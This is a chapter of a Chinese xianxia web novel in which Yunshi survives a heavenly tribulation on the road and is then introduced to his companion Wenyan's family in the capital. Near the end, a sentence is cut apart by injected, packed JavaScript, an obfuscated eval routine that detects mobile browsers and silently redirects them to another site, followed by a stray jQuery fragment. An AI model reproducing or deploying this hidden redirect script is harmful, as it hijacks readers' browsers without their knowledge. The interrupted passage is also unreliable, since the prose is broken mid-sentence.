当晚,他们在一处条件尚可的客栈要了两间相邻的上房。温言自然云实一间,纸鸢和予一人单独一间。安顿下来后,予嚷嚷着要庆祝重逢,跑去张罗了一桌不算奢华却十分实在的席面,有鱼有肉,还有当地特色的土酿。 四人围坐一桌,烛火摇曳。予最是活跃,不停地劝酒布菜,讲着蹩脚的笑话。纸鸢偶尔揶揄他两句。温言也卸下了些许官场上的端肃,唇角含笑,听着看着,不时为身边的云实夹一筷子他多看了两眼的菜。云实起初还有些拘谨,慢慢地,在予的大嗓门、纸鸢温和的目光、以及身旁温言无声却存在感极强的陪伴下,他紧绷的肩背一点点松弛下来。 他小口抿着予倒给他的酒,酒液辛辣,却带着一股暖流入腹。他看着予因为一个笑话笑得前仰后合,看着纸鸢眼中流转的暖意和偶尔闪过的精明算计,感受着桌下,温言的手自然地伸过来,轻轻覆在他放在膝头的手背上,掌心温热干燥。 一种前所未有的、饱满而踏实的幸福感,如同春日解冻的溪流,缓缓漫过他的心田,浸润了他干涸太久的灵魂。没有提心吊胆的逃亡,没有孤注一掷的算计,没有令人窒息的爱恨纠缠,只有朋友真切的笑语,在意之人温暖的陪伴,和一顿简单却热气腾腾的饭菜。这平凡世俗的热闹与温暖,对他来说,曾是遥不可及的奢望。 他忽然想起很久以前,在青石镇那个简陋的家里,弟弟妹妹吵吵闹闹,父母在灶间忙碌,空气里弥漫着食物最朴素的香气。那时只觉得是寻常日子,甚至有些烦闷于生活的窘迫。如今历经生死别离、屈辱挣扎、孤独隐匿之后,他才恍然惊觉,那种“寻常”是多么珍贵。 等自己跟着温言安顿下来后,就回家看看吧。 这一晚,他们聊到很晚。予最终不胜酒力,趴在桌上嘟囔着睡去,被纸鸢无奈地笑着扶回房。温言和云实也起身回房。关上门,隔绝了外界的声响,屋内一片静谧。温言没有多说什么,只是如同在溪草镇最后那几天一样,很自然地拥着云实躺下。云实背靠着温言温暖的胸膛,听着身后平稳有力的心跳,鼻尖萦绕着月白衣袍上那股令人安心的、混合了淡淡阳光与宁神植物气息的味道,以及温言本身清冽的气息。 身体是疲惫的,心却像被温泉水包裹着,轻盈而柔软。他闭上眼睛,脑海中浮现的,是予夸张的笑脸,是纸鸢了然的微笑,是温言深潭般眼眸中映出的自己的影子,是那一桌寻常的饭菜,是掌心残留的、酱肘子油纸包的温热…… 他想,这辈子,好像从来没有这么开心过。仿佛在漫长的黑夜漂泊后,终于看到了一座亮着温暖灯火的港湾,并且知道,那港湾愿意接纳他这艘伤痕累累的小船。 在沉入黑甜梦乡的前一刻,他迷迷糊糊地感觉到,温言的手臂将他圈得更紧了些,一个很轻的吻落在他的后颈,如同无声的烙印与承诺。 18. 【十六】 青石镇到京城,说远不远,说近,却也绝不是一段抬脚就能到的路程。若是凡俗商队,带着货物走走停停,怕是要月余功夫。但对于他们四人而言,这段路本可以缩短到数日之内,甚至更短。 四人离了那间带来短暂温暖团聚的驿站,重新踏上官道。春风已染绿了沿途的杨柳,官道上的车马也明显稠密起来,显出一派愈靠近帝国心脏愈繁荣的景象。温言看了眼天色,又瞥向身旁步伐轻快、正与予说笑着的纸鸢,微微沉吟。 “按我们脚程,若全力赶路,入夜前应能抵达下个大的集镇。”温言开口道,声音温和,“不过纸鸢姑娘……” 纸鸢闻声转过头一笑,摆了摆手:“温真人不必顾忌我。我晓得自己拖了后腿,不会飞嘛。你们若急,自行飞去便是,我雇辆车慢慢走,咱们京城再会合也一样。” 予立刻接话:“那哪儿成!说好了一起的,把你一个人丢路上算怎么回事?再说了,走路多好,能看风景,还能……”他瞄向路边热气腾腾的食摊,“还能随时尝尝各地风味!温大哥,云实,你们说是不是?” 云实没说话,只是看向温言。 温言显然也想到此处,他唇角微弯,对纸鸢道:“并非嫌弃姑娘脚程。只是此去京城,沿途虽算太平,但人多眼杂,四人同行彼此有个照应更好。步行也无妨,我们并不赶那一两日时间。”他顿了顿,看向云实,“而且,云实刚经历天劫,伤势虽稳,但御剑飞行损耗灵力,于他恢复也无益。慢慢走,正好调养。” 提到天劫,纸鸢和予脸上的轻松都收敛了些,关切地看向云实。 “我没事,慢慢走挺好。”云实低声道,算是赞同了温言的安排。 予松了口气,又活泼起来:“那就走路!我来探路打尖!” 于是行程就这么定了下来。四人混在逐渐增多的车马行人中,一行人看起来像某个小商号的东家带着伙计、亲眷出行,并不十分惹眼。 没有了迫在眉睫的追兵,也没有复杂的任务压身,这段路走得可谓闲适。云实也终于有更多时间,去细细体悟自身的变化。 苏妄给的那东西……或者说,那场交易带来的成果,远比他最初想象的更诡异,也更深入。 它本身并非云实苦修而来,云实能清晰地感觉到,这份力量的根不在自己这里,它悬浮着,寄生着。 他们沿着官道继续向北。天气渐渐热了起来,正午的日头有些毒。前方出现了一条颇为宽阔的河流,官道在此延伸向一座敦实的石桥。桥看起来有些年头了,仅容两车交错,此刻桥头却堵了不少车马行人,熙攘喧哗,似乎发生了什么事。 温言示意众人稍停,予立刻像只灵猴般窜到前面去打听。不一会儿他跑了回来,脸上带着点无奈:“桥那头有两伙商队为谁先过起了争执,车马货物把路堵死了,两边还各请了低阶修士撑场面,正在桥上对峙呢。官府的人还没到,看那架势一时半会儿通不了。” 纸鸢踮脚望了望那狭窄的桥面和堵成长龙的车队,皱了皱眉:“绕路呢?这河看着不窄,上下游有渡口吗?” 予摇头:“问了,最近的渡口在上游二十里,绕过去天都黑了。下游更远。” 温言沉吟片刻,目光掠过波光粼粼的河面,又看了看对岸。河对岸的官道清晰可见,并无阻滞。“若是能直接过河,倒可省下不少时间。” 云实看着那河水,宽度约莫三四十丈,水流平缓。若是以前,他只能干看着,或者冒险泅渡。但现在……体内那股虽然陌生却日益澎湃的力量在缓慢流转,指尖微微发烫。他想起了苏妄灌注力量时的模糊感知,也想起了自己制作法衣时,以针线引导灵力形成纹路的精密控制。两者似乎有某种相通之处,都关乎力的延伸与驾驭。 一个隐约的、大胆的念头冒了出来。 “我……或许可以试试。”云实低声道,声音不大,却让其他三人都看向他。 纸鸢疑惑:“试什么?游过去?你伤还没好利索呢。” 云实没答,弯腰从行囊里取出了他那柄旧柴斧。斧刃磨得亮,木柄被手汗浸润得发黑光滑。他握紧斧柄,闭上眼睛,尝试将体内那股混沌的、偏向“乱”与“源”的力量,沿着手臂缓缓导向斧头。 起初并不顺利。力量狂暴且难以精细操控,刚一离体就有些逸散,斧头只是微微震颤。云实额头渗出细汗,将输出放得更缓,更集中,并尝试用一丝神识附着其上。 慢慢地,斧头的震颤变得有规律起来,一层极其微弱的、带着不稳定波动的灵光包裹住了斧身,尤其是宽厚的斧面。 温言眼中闪过一丝了然,并未出声打扰,只是悄然在周围布下一层隔音和模糊视线的简易障眼法,避免引起桥头那些人的注意。 予瞪大了眼睛,好奇又期待。纸鸢似乎也明白了什么,抿了抿唇,没再说话。 云实深吸口气,猛地将手中柴斧向前方河面掷出!这一掷并未用多大力气,但附着其上的那股混沌灵力却在脱手瞬间被全力催动。 嗖! 柴斧并未如寻常投掷物那样划出抛物线坠入水中,而是在离手后约一丈处,诡异地悬停了一瞬,斧身包裹的灵光剧烈闪烁、明灭不定,像风中残烛。云实脸色一白,感觉维系那一点灵力输出的神识如同被拉扯的细丝,随时会崩断。他全部心神都沉浸在与斧头那微弱而艰难的联系上,努力调整着灵力输出的角度和力度,试图让它……托住斧头。 柴斧开始摇晃晃地向前移动,速度慢得像蜗牛,轨迹歪歪扭扭,时而上升半尺,时而下沉几乎触水,灵光闪烁得让人心惊胆战。这完全谈不上任何“飞行”的美感,更像是一个笨拙的孩童在试图操控一个不听话的玩具。 但它确实在移动,贴着河面,极其不稳定地、缓慢地,向着对岸蹭过去。 云实维持着这个状态,感觉比跟人打了一架还累,神识和灵力都在飞速消耗。他不敢分心,死死盯着那柄仿佛随时会失去控制掉进河里的斧头。 十丈、二十丈…… 就在柴斧勉强蹭到河心位置时,云实感到一阵强烈的眩晕,那维系的力量线条猛地一颤!斧头顿时向下一沉,斧刃险险划过水面,激起一小片浪花。 “小心!”纸鸢忍不住低呼。 云实咬紧牙关,凭着那股不服输的狠劲,将体内那怪异内丹猛地一催,一股更蛮横但也更澎湃的力量涌出,强行稳住了斧头的下坠之势,甚至推着它加速、抬升,以一条略显生硬但总算平稳了许多的弧线,险之又险地飞过了后半段河面,最后“哆”地一声,斜斜劈砍在对岸一棵老柳树的树干上,入木三分,斧柄兀自颤动不已。 成功了。以一种极其难看、消耗巨大、且完全依赖蛮力后期补救的方式,但确实让斧头飞过了河。 云实踉跄了一下,脸色苍白,额头上全是冷汗,胸腔剧烈起伏,体内灵力乱窜,那枚内丹传来阵阵灼热和空虚感。他抬手用袖子擦了擦汗,看向对岸树干上的斧头,眼神有些发直,似乎自己也不敢完全相信刚才做到了什么。 温言第一个走过来,手掌轻轻按在他后心,一股精纯平和的灵力涌入,帮他梳理体内躁动。 “第一次尝试御物渡物,能做到这般,已是极佳。”他的声音带着赞许,“只是发力过于刚猛,心神绷得太紧,少了些圆转之意。御物之妙,在于引而非推,在于连而非控。你与那斧头之间的联系,当如呼吸般自然,如臂使指。” 云实喘匀了气,默默体会着温言的话。他回想刚才,最后关头确实是靠着蛮力推过去的,与斧头的联系也时刻像要断开。或许,应该更像他缝衣服时,针线牵引着灵力丝线那种连绵不绝的感觉? 予已经兴奋地拍起手来:“云实!你这就学会‘御剑’了?虽然用的是斧头!太厉害了!这下过河方便了!” 纸鸢也走了过来,脸上带着笑,但那笑容里有一丝极淡的、几乎难以察觉的复杂。她看着对岸的斧头,又看看脸色苍白的云实,笑道:“是挺厉害。不过……”她顿了顿,指了指河面,“咱们这么多人,还有行李,难不成要一把一把扔过去?” 云实一愣,这才反应过来。是啊,自己这勉强算是能让斧头“飞”过去,可人呢?东西呢?难道真要一件件运?那得累死,而且看他刚才那状态,也根本支撑不了几次。 温言微笑道:“载人之术,涉及灵力护持、平衡维系,比御物更难数倍,非一时之功。今日既已证明此法可行,便足矣。”他看向纸鸢和予,“我们不过河。” “啊?”予一愣。 温言抬手,指向稍远处的河面下游:“我们沿此岸向下游略走一段,多花点时间即可。”他说话间,袖袍无风自动,一股柔和却浩瀚的灵力散发出来,周围光线微微扭曲。紧接着,他脚下凭空生出一团氤氲的、宛如实质的云气,云气迅速扩大,变得足够平坦宽敞。 “上来吧。”温言率先踏上云气,那云气纹丝不动,稳如平地。 予欢呼一声,毫不犹豫地跳了上去,还好奇地踩了踩:“这比御剑舒服多了!” 纸鸢也松了口气,脸上露出真切的笑容,轻松地踏了上去。她虽不会飞,但有温言这等造化期修士带着,安全舒适,毫无问题。 只剩下云实还站在岸上。 他看着那团平稳的云气,又看了看对岸树上自己那柄孤零零的柴斧。他刚刚拼尽全力,险象环生地让斧头“飞”了过去,而温言只是抬抬手,便化出如此平稳的云舟,载人载物,轻松写意。 差距。天堑般的差距。不仅仅是修为境界的差距,更是对力量掌控、对天地规则理解的云泥之别。 而他刚才那点笨拙的成功,在此刻对比下,显得如此可笑和微不足道。 “云实?”温言在云舟上唤他。 云实回过神,压下心中那点翻涌的自嘲和无力感。他点了点头。 云舟平稳升起,离地数尺,然后轻盈地向着河对岸飘去,速度快而稳,无声无息。掠过河面时,云实看到下方自己刚才操控柴斧艰难划过的轨迹早已消失无踪,河水依旧平静流淌。 过河后,云实去树上拔回了自己的斧头。手指触及木柄的瞬间,他能清晰地感觉到斧头上残留着一丝自己那特有的、带着混乱波动的灵力痕迹,与这朴实无华的旧斧奇异地融合着。 “回程时,可以再试试。”温言的声音在旁边响起,“御物之道,亦是体悟自身灵力与外物联结之道,对你梳理体内力量或有裨益。” 云实握紧斧柄,点了点头。 旅程的第五日下午,变故来得毫无征兆。 当时他们正经过一段相对荒僻的山道,两侧林木渐深。前一瞬,云实还在听着予高声争论前面镇子的烧鹅哪家更地道,下一瞬,天地间的灵气毫无征兆地剧烈扰动起来! 天空瞬间阴沉,并非乌云汇聚,而像是光线本身被某种无形之力吞噬、扭曲。风停了,虫鸣鸟叫戛然而止,一种令人灵魂战栗的压抑感笼罩下来。 “天劫……序乱劫?”温言脸色骤变,猛地看向云实。 云实自己也愣住了。他刚刚巩固了锚定期的修为不久,借助那怪异的内丹,战力或许能摸到环流期的边,但境界感悟绝对远远未到。怎么会引来法则期的天劫? 然而体内那枚融合内丹的剧烈悸动,以及冥冥中清晰指向他的、那沛然莫之能御的规则压力,都明明白白地告诉他——就是他。 “退开!”温言厉声喝道,一把将还在发懵的纸鸢和予向后推开数十丈,自己则迅速在云实周围布下数层灵光湛湛的防护符箓,但他眉头紧锁,深知这种针对个人的天劫,外物能起的防护作用微乎其微。 “找地方躲好,莫要靠近,更勿出手干扰!”温言对纸鸢和予疾言嘱咐,自己则退到防护符阵的边缘,死死盯着空中。 没有酝酿,没有预警的第二阶段。就在云实勉强压下心中惊骇,试图调动灵力护住周身要害的刹那,第一击已然降临。 云实只觉得自己的身体突然不听使唤了。他眼睁睁看着自己的手掌变得半透明,能模糊看见下面的泥土,好像自己正在变成一抹影子。与此同时,身体里面又空得吓人,心肝脾肺都像被掏走了,只剩一个漏风的皮囊,轻飘飘的,马上就要被风吹散。 他被两种蛮力撕扯着:一边要把他压成薄薄一片纸,另一边又要把他吹胀成一个空壳。皮肉在发紧,魂却像要飘出去。 “哼!”云实闷哼一声,口鼻立刻溢出血丝,全身骨骼发出不堪重负的嘎吱声,护体灵力如同纸糊般碎裂。他拼命运转体内那怪异的内丹,试图以“乱”之力干扰、扭曲这股针对性的规则碾压。一丝丝混沌的、破坏秩序的力量从他体内散出,勉强在身周撑开一小片不稳定的区域,让那恐怖的虚实撕扯之力稍有紊乱。 但这似乎激怒了天威。第二波劫难接踵而至。 眼前骤然一片绝对的漆黑,并非夜幕降临,而是所有光线、色彩、形状的信息被剥夺;紧接着,无数杂乱无序的、尖锐嘶鸣的信息碎片蛮横地灌入他的识海,冲击着他的神魂,明暗交攻,要让他目盲,更让他魂散。 云实惨叫一声,七窍都渗出鲜血,抱头跪倒在地,识海如同被千万根钢针攒刺,又像是被塞进了沸腾的油锅。他几乎要失去意识,全靠一股狠劲咬着牙,将意识死死锚定在体内那枚疯狂旋转、散发出混乱波动试图对抗内外夹击的内丹上。 温言在外围看得目眦欲裂,他能感受到那两波劫难中蕴含的可怖法则之力,那根本不是寻常锚定期修士该承受的,甚至环流期修士遇到也九死一生!云实能撑过第一波已属奇迹,第二波眼看就要击溃他的神魂。 就在云实意识即将沉入黑暗的瞬间,劫难再次变化。 天劫没有丝毫停歇。冰火同时在他体内炸开,一边冻彻骨髓一边灼穿五脏。他的生机被粗暴抽走,又被混乱地塞回,在这濒死的边缘反复折磨。这与之前都不同。他模糊感觉到,施加劫难的不止有苏妄曾提过的那个存在,似乎还有别的什么也在借此机会向他投来冰冷的注视。而且,这一次,没有任何一道雷霆是来帮他的,全是纯粹的毁灭。 当那令人窒息的压力终于消散,云实瘫在地上,连喘息的力气都快没了。他只觉得体内那枚怪异的内丹,似乎在天劫的疯狂锤打下,与自身结合得更紧密了一些,但代价是几乎掏空了他的一切。他躺在那里,心里模模糊糊地知道,这次劫难之所以如此酷烈,或许正是因为自己心里装了太多还不清的债,太多沉甸甸的愧。 只有地上那个奄奄一息、几乎不成人形的身影,证明着刚才发生的真实。 温言第一时间冲了过去,小心翼翼地扶起云实,磅礴而温和的灵力如同最细腻的春风,迅速探入他体内,修补着千疮百孔的经脉,镇压着各处暴乱冲突的灵力残余,滋养着濒临枯竭的生机。他带来的上好丹药不要钱般喂入云实口中,并用自身精纯的灵力化开药力。 纸鸢和予也跑了过来,看着云实凄惨的模样,都红了眼眶。 在温言不惜代价的救治下,云实的气息终于慢慢稳定下来,虽然微弱,但不再是随时会熄灭的风中残烛。他艰难地睁开肿胀的眼皮,视线模糊地聚焦在温言写满担忧的脸上,张了张嘴,却只发出气音。 “别说话,先调息。”温言的声音有些沙哑,带着不容置疑的温柔,“你撑过来了,云实。” 差一点,只差一点,他就真的彻底消散了,连劫灰都不会剩下。 温言在附近找了个背风的山坳,布下隐蔽和防护的阵法,决定就此扎营,让云实好好养伤。纸鸢默默地生火,烧水,准备软和的食物。予则负责警戒四周。 夜幕降临时,云实已经能勉强靠坐着,喝下纸鸢熬的肉粥。他外伤在灵药作用下好了大半,但内里的损耗,尤其是神魂和法则层面受到的冲击,需要时间慢慢温养。 篝火噼啪作响,映照着四人沉默的脸。 温言凝视着跳动的火焰,过了许久才开口,声音沉静:“这劫不对。” 予脸色还有些发白,抱着膝盖没吭声,只是用力点了点头。他吓坏了,那根本不像是人能扛过去的东西。 “太快,太狠。”温言说,“不是冲着他该有的境界来的。” 纸鸢把添了热水的碗轻轻推到云实手边,看向他苍白的脸:“是不是……心里事太多了?我娘说过,人背着太多东西,天都会觉得沉。” “嗯,”温言指尖在云实手背上轻轻按了按,似是安抚,又似确认他的存在,“不似考验,倒像谋杀。劫数映心这话不假,但刚才那阵仗……已经远超寻常心魔引动的范畴了。”他顿了顿,问得很轻,却不容回避,“云实,除了天地之威,还有什么在扯着你?”。 云实捧着温热的水碗,指尖还有些颤抖。他沉默了一会儿,低声道:“幻象……不多。但那种感觉……很清晰。” 温言的手微微收紧,将云实冰凉的手指拢在掌心。 “不是幻象的事。”他声音很低,却很沉,带着一种不容置疑的力度,“谁心里没几件愧事?若这样就要被天劫往死里劈,这世上早没几个修士了。” 他侧过头,看着云实紧闭的眼睑和苍白的脸,火光在那上面投下颤动的阴影。 “你撑过来了。这就够了。”他拇指很轻地蹭过云实的手背,语气缓下来,带着探究,但更多的是担忧,“刚才那些……是旧事翻上来了?” 纸鸢忽然“啊”了一声,想起什么似的:“说到天劫……云实,你还记得你第一次渡劫吗?在……在白石坳。小心地看了一眼温言和予,见他们并未特别在意,才继续道,“那时候,不是有好几道雷,没劈坏你,反而……好像帮你理顺了点什么?” 云实睁开眼,点了点头。那次的劫虽然也凶险,但最后确有几道特殊的雷霆,带着某种净化和梳理的意味,助他稳固了初生的异丹,心境也得以澄澈。与这次纯粹的毁灭性打击截然不同。 “为什么这次不一样?”纸鸢不解,“难道因为这次境界更高,所以天劫也更正经了?” 云实扯了扯嘴角,露出一个比哭还难看的笑:“大概……是因为这次心魔的滋味,天劫尝着更对胃口吧。”他顿了顿,声音更低了,“上次问心,我问的是自己的路,虽然难,但还算坦荡。这次……心里装了太多对不起的人,太多还不清的债。天劫……可能不喜欢债台高筑、心魔缠身的修士。” 这话说得平静,却让听者心里发酸。纸鸢张了张嘴,想安慰,却一时不知从何说起。予也挠挠头,憋不出话来。 篝火旁又陷入了沉默,只有木材燃烧的噼啪声。 过了一会儿,纸鸢似乎想打破这沉重的气氛,换了个话题,语气带着点打听来的不确定:“对了,说点别的。我前阵子跑货,听天衡宗那边传出点风声……说他们那位霁雪仙尊,好像……快要飞升了?还是有什么大动作,闭关冲关什么的。传得挺模糊。” 云实倏然抬头,看向纸鸢。 纸鸢没注意他的神色,继续道:“要是仙尊真的……那位置空出来,下面的人就得动了。我估摸着,流衍和天蕴,是最有可能接手的吧?毕竟他们两位在宗内声望高,修为也够。”她说着,看了一眼云实,补充道,“不过我跟天蕴姐接触多些,她那性子,怕是不耐烦管那么多琐事,说不定更乐意专心修炼或者下山行侠仗义。所以啊,最后这担子,多半会落到流衍真人肩上。” 她说到这里,才后知后觉地想起流衍与云实之间那复杂难言的关系,脸色微微一变,有些懊恼自己哪壶不开提哪壶,连忙找补:“呃……我也是瞎听的,做不得准。仙尊们的事,哪是我们能揣测的……” 云实却已经垂下眼帘,盯着跃动的火苗,许久没有说话。 流衍……要接任仙尊了? 那个因为自己一时冲动多嘴,吐露了苏妄的秘密,而被牵连、甚至可能断送部分前程的流衍师兄?那个在禁闭中,却还托人辗转给他送来基础修炼心得、生怕他走上歧路的流衍师兄? 自己欠流衍的,拿什么还?又如何还得清? 温言将云实的反应尽收眼底,心中暗叹。他伸出手,轻轻按在云实微微颤抖的肩膀上,温暖的灵力带着安抚的意味缓缓透入。 “过去之事,无法更改。未来之路,尚未定数。”温言的声音平稳而有力,“流衍道友自有他的道与缘法。你如今要做的,是先养好自己。唯有你安好,未来才可能有偿还因果、厘清是非的那一日。若沉溺愧疚,止步不前,才是真正辜负了所有关心你、乃至为你付出代价的人。” 云实肩膀的颤抖慢慢平复下来。他抬起头,看向温言,那双总是温和清亮的眼眸里,此刻映着火光,也映着他的狼狈与彷徨。 “我明白。”云实哑声说,这三个字重若千钧。 这是他现在唯一能抓住的、微弱的方向。 接下来的几日,他们依旧留在那处山坳养伤。云实恢复的速度比预期要快,那枚怪异内丹在经历天劫摧残后,展现出顽强的生命力,甚至反哺自身,加速着他伤势的愈合和灵力的恢复。只是眉宇间那抹挥之不去的沉重与郁色,并未减轻多少。 纸鸢和予尽量说些轻松的话题,或者讨论接下来路径上的城镇风物,试图冲淡那份凝重。温言则一如既往地守在一旁,或打坐,或阅读玉简,偶尔指点一下云实灵力运转中尚存的滞涩之处。 直到云实已能自如行动,体内伤势好了七八成,他们才重新收拾行装,再次上路。 京城内,一切流动都似乎遵循着某种看不见的轨迹,少有喧哗拥挤,效率高得令人心惊。连空气里的灵气,似乎都被梳理过,虽浓郁,却少了野外的恣意,多了几分驯服与规整。 云实跟在温言身侧,走过那道堪称巍峨的城门时,感觉像是穿过了一层微凉的水膜,某种探查的波动轻轻扫过全身,但在触及温言自然而然散发出的、代表着四明宗与官方双重身份的隐晦印记后,便悄然退去,未作停留。 进了城,那井然有序的繁华更是扑面而来。街道横平竖直,坊市划分得清清楚楚,楼宇鳞次栉比,飞檐斗拱间可见精巧的阵法纹路隐约流转。商铺招牌幌子连绵不绝,出售的物品从凡俗精工到低阶法器、基础灵材应有尽有,明码标价,童叟无欺。路上行人虽多,却各行其道,连叫卖声都似乎控制在一定分贝之内,一切都在一种高效而略显冰冷的秩序下运转。 “这里就是内城通明坊,”温言的声音将他从观察中拉回,“我家就在前面不远。” 他们离开主干道,拐入一条相对清静的巷道。路面以青石板铺就,干净得不见一片落叶。两侧皆是高墙深院,门庭形制各有讲究,显得低调而厚重。偶尔有马车驶过,也是悄无声息。 在一座黑漆铜环、看起来并不特别显眼,但门楣上悬挂着“温府”二字匾额的宅邸前,温言停下了脚步。匾额上的字铁画银钩,隐有灵光内蕴,自有一股端凝气象。 “到了。”温言说,抬手叩响了门环。 很快,侧门打开,一个穿着整洁青衣、面容敦厚的中年门房探出头来,见到温言,脸上立刻堆起恭敬而熟稔的笑容:“大少爷回来了!” 目光扫过温言身后的三人,在云实身上多停留了一瞬,但并未多问,利落地将门打开,侧身让路。 “福伯,父亲和小姐可在府中?”温言一边带着三人入内,一边问道。 “老爷今日休沐,正在书房。小姐上午去西城‘锦绣阁’看新到的料子了,说是未时前回来,这会儿估摸着也快了。”被称作福伯的门房有条不紊地答道,目光又悄悄打量了一下云实,见他虽衣着不算华贵,但气质沉静,跟在温言身边并无局促,心中暗自揣测着身份。 温府内里的景致与外表的低调截然不同。入门便是一道影壁,绕过影壁,眼前豁然开朗。庭院开阔,引了活水成池,池中莲叶田田,几尾色泽鲜艳的锦鲤悠游其间。假山玲珑,花木扶疏,虽无多少奇花异草,但修剪打理得极为精心,一步一景,处处透着雅致与舒适的居家气息。灵力波动在这里变得极其温和内敛,显然府邸本身便布置有高明的聚灵与安神阵法。 温言并未在前厅停留,径直带着他们穿过一道垂花门,走向内院。 “先随我去见过父亲。”他对云实说道,又看向纸鸢和予,“纸鸢姑娘,予,你们可随仆役先去客院稍作歇息,梳洗一番。晚些时候再为你们接风。” 纸鸢爽快点头:“温真人自去忙,我们没关系的。” 予也笑嘻嘻地应了,自有伶俐的丫鬟上前引路。 云实深吸一口气,跟在温言身后,走向那座位于庭院东侧、被几丛翠竹掩映着的独立书房。越走近,越能感觉到一种沉静而威严的气息,并非刻意释放,而是久居上位、掌控一方事务自然积淀而成的气场。 书房门虚掩着。温言在门上轻叩两下。 “进来。”里面传出一个略显低沉、但中气十足的男声。 温言推门而入,云实紧随其后。 书房很大,三面皆是顶到天花板的书架,密密麻麻摆满了书册、卷宗和玉简,分门别类,一丝不苟。临窗是一张宽大的紫檀木书案,案后坐着一位年约五旬、鬓角微霜的男子。他穿着家常的深青色澜衫,未戴冠,只以一根简单的玉簪束发,面容与温言有五六分相似,但线条更为刚硬,眉宇间带着经年累月处理繁杂公务沉淀下来的沉稳与一丝不易察觉的疲惫。此刻,他正放下手中的一卷文书,抬眼望来。 目光先是落在温言身上,微微颔首,随即移向他身后的云实。那目光平和,却极具穿透力,仿佛能一眼看进人的骨子里,带着审视,也带着一种居高临下的、属于长辈与家主的考量。 “父亲。”温言躬身行礼,“孩儿回来了。” “嗯,路上可还顺利?”温父声音平稳,听不出太多情绪。 “尚可。”温言直起身,侧过半步,将云实让到身前,语气自然地说道,“父亲,这位是云实,我此番在外结识的……义弟。” 云实心头一跳,连忙依着礼数,深深作揖:“晚辈云实,见过温伯父。” “义弟?”温父眉梢几不可察地动了一下,重复了一遍这个词,目光在云实身上仔细打量了一番。眼前的少年身形偏瘦,面色还有些劫后未褪尽的苍白,行礼的姿态虽略带紧绷。温言这孩子,自幼便有主意,性情看似温和实则极有分寸,绝非轻易与人称兄道弟之辈。他带回来的这个“义弟”…… “起来吧,不必多礼。”温父抬了抬手,语气缓和了些许,“既是言儿认下的兄弟,便不是外人。坐。” 有仆役悄无声息地进来,奉上热茶,又退了出去。 温言和云实在下首的椅子上坐了。温父端起茶盏,轻轻撇去浮沫,问道:“云实小友是哪里人氏?家中是做何营生?如何与言儿相识?” 问题寻常,是长辈见晚辈时惯常的问询,但云实知道,每一句都需谨慎回答。他定了定神,按照之前与温言粗略商定过的说辞,恭敬答道:“回伯父,晚辈出身南边青石镇,家中原本经营一间小布料铺子。与温……与兄长相识,是源于一次意外,兄长路过,救了晚辈性命,后来……又屡次相助。” 温父听了,不置可否,目光转向温言。 温言接口,语气平稳地补充:“云实家中曾遭变故,父母年迈,弟妹尚幼,他一人担着家中生计,甚是不易。孩儿见他心性坚忍,人品端正,且于……某些偏门技艺上颇有悟性,是可造之材。此番带他回京,一是让他换个环境,见见世面;二来,也想看看能否为他谋个合适的差事,或寻个进学修行的门路,总好过在乡间埋没了。” 温父沉吟片刻,目光再次落回云实身上:“布料铺子出身……嗯,既是言儿看重你,想必自有你的长处。京城居,大不易,规矩也多。你既来了,便要守这里的规矩,安分行事,莫要给言儿添麻烦,也莫要堕了我温家的门风。” “晚辈谨记伯父教诲。”云实垂首应道。这话听起来严厉,实则已是初步认可,至少是默许了他以“温言义弟”的身份暂时留在温府。 “父亲,”温言又道,“云实初来乍到,对京城一切尚不熟悉。我想让他暂时住在府中‘竹溪小院’,那里清净,也方便我照应。他身子前些日子受了些风寒,还需将养一阵。” 竹溪小院是温府内院一处较为僻静的客院,环境清幽,确实适合休养,也足见温言对云实的安置用心。 温父点了点头:“你既安排好了,便依你。一应用度,按府中客卿的份例支取便是。” 这便是正式定下了云实在府中的待遇规格,不高不低,恰如其分。 “谢父亲。”温言道。 “谢伯父。”云实也跟着道谢。 正事说完,气氛稍缓。温父又问了几句温言此行公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934576|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 务上的见闻,温言挑了些能说的简要答了。正说话间,书房外传来一阵轻快而略显急促的脚步声,伴随着少女清脆的声音:“爹爹!哥哥是不是回来了?福伯说哥哥带客人回来了!” 话音未落,一个身穿鹅黄襦裙、约莫十五六岁的少女便像一阵风似的卷了进来。她生得明眸皓齿,肌肤白皙,与温言有三分相似,但眉眼更灵动活泼,顾盼间神采飞扬。乌黑的发髻上簪着一支颤巍巍的珍珠步摇,随着她的动作轻轻晃动。 “玥儿,怎的如此毛躁,没见有客人在么?”温父皱眉轻斥,但眼中并无多少责怪之意。 温言的妹妹温玥吐了吐舌头,停下脚步,目光好奇地扫过书房,先落在温言身上,甜甜叫了声“哥哥”,随即立刻被坐在一旁的云实吸引了注意力。 “这位是……”温玥眨了眨眼,上下打量着云实。哥哥带回家的客人?这么年轻?看起来……嗯,有点瘦,脸色也不太好,但眼睛挺亮,安安静静坐在那里,不像她平日里见的那些高门子弟或宗门精英。 “玥儿,这是云实,我新认的义弟,你该叫一声云实哥哥。”温言温声道,又向云实介绍,“这是舍妹,温玥,性子跳脱了些,你莫见怪。” “云实……哥哥?”温玥重复了一遍,眼中好奇更盛。义弟?哥哥什么时候认了个义弟?还带回家来了?她几步走到云实面前,歪着头看他,笑容明媚:“云实哥哥好!我是温玥!你从哪里来呀?怎么跟我哥哥认识的?你也会修仙吗?到什么境界了?” 她一连串的问题抛出来,语速又快又清脆,带着少女特有的鲜活与直接,冲散了书房里原本略显严肃的气氛。 “玥儿!”温言无奈地唤了一声。 云实被她看得有些不好意思,起身拱了拱手:“温小姐好。我……我从南边来。与温兄相识是机缘巧合。修行……只是初窥门径,不值一提。”他回答得简短,避开了具体细节。 “南边?南边哪里?听说南边山水很美,有很多好吃的果子!”温玥似乎对“义弟”这个身份接受得很快,“初窥门径是到什么境界了?感气?锚定?你会不会御剑?会不会法术?哥哥可厉害了,他……” “玥儿,”温父打断了女儿连珠炮似的追问,“云实小友远道而来,又抱恙在身,需要休息。你莫要缠着人家问东问西。” 